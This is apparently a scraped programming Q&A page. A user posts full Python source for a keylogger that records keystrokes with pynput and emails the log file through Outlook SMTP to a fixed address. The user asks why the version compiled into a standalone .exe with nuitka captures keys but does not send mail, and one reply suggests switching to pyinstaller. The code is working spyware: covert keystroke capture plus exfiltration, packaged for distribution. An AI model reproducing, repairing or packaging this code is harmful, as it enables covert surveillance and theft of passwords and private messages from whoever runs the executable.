简体   繁体   中英

Python .exe keylogger file not sending email

I created a keylogger which captures keystrokes and sends the keystrokes file to an email address specified. The python script when run from VS code terminal works perfectly, but when I compiled the files into an executable(.exe) using nuitka and execute the.exe file by double-clicking on the.exe file, the keylogger captures the keystrokes but does not send the email. What can I do to fix this?

from pynput.keyboard import Listener, Key
from decrypt import decrypt                                          
from encrypt import encrypt
from sendoulook import send_mail


decrypt()                                                           

count = 0

def on_press(key):
    global count
    letter = str(key)
    letter = letter.replace("'","") 
    special_keys(letter)
    count += 1
    if count == 10000000:
        return False

def special_keys(letter):
    if letter == "Key.space":
        letter = " "

    if letter == "Key.enter":
        letter = "\n"

    if letter.find("Key") == -1:
        with open("log.txt","a") as f:
            f.write(letter)
        
   

def on_release(key):
    if key == Key.esc:
        f = open("log.txt","a")
        f.write("\n")
        return False
        

with Listener(on_press=on_press, on_release=on_release) as l:
    l.join()


encrypt()                                      

try:
    if __name__ == "__main__":
        send_mail()

except Exception as error:
    print(error)

THIS IS THE CODE FOR THE sendmail() function

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from decouple import config
from retry import retry


@retry((Exception), tries=3, delay=2,backoff=2)         

def send_mail():

    if __name__ == "sendoutlook":

        fromaddr = "example@outlook.com"

        toaddr = "example@gmail.com"

        password = config("PASS")

        msg = MIMEMultipart()           

        msg["From"] = fromaddr         

        msg["To"] = toaddr

        msg["Subject"] = "Keylog Strokes"

        body = "This file contains the recorded keystrokes."

        msg.attach(MIMEText(body,"plain"))     

        filename = "log.txt"
        attachment = open("log.txt","rb")

        p = MIMEBase("application","octet-stream")    

        p.set_payload((attachment).read())   

        encoders.encode_base64(p)      

        p.add_header("Content-Disposition","attachment;filename=%s"%filename)  

        msg.attach(p)      

        s = smtplib.SMTP("smtp.office365.com",587)   

        s.starttls()     

        s.login(fromaddr,password)     

        text = msg.as_string()        

        s.sendmail(fromaddr,toaddr,text)

        s.quit


**nuitka command **

python -m nuitka --mingw64 <main.py> --standalone --onefile

So, nuitka doesn't compile python scripts effectively, thus not allowing the.exe file to send the email specified in your code. I suggest you try pyinstaller and see if that works.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM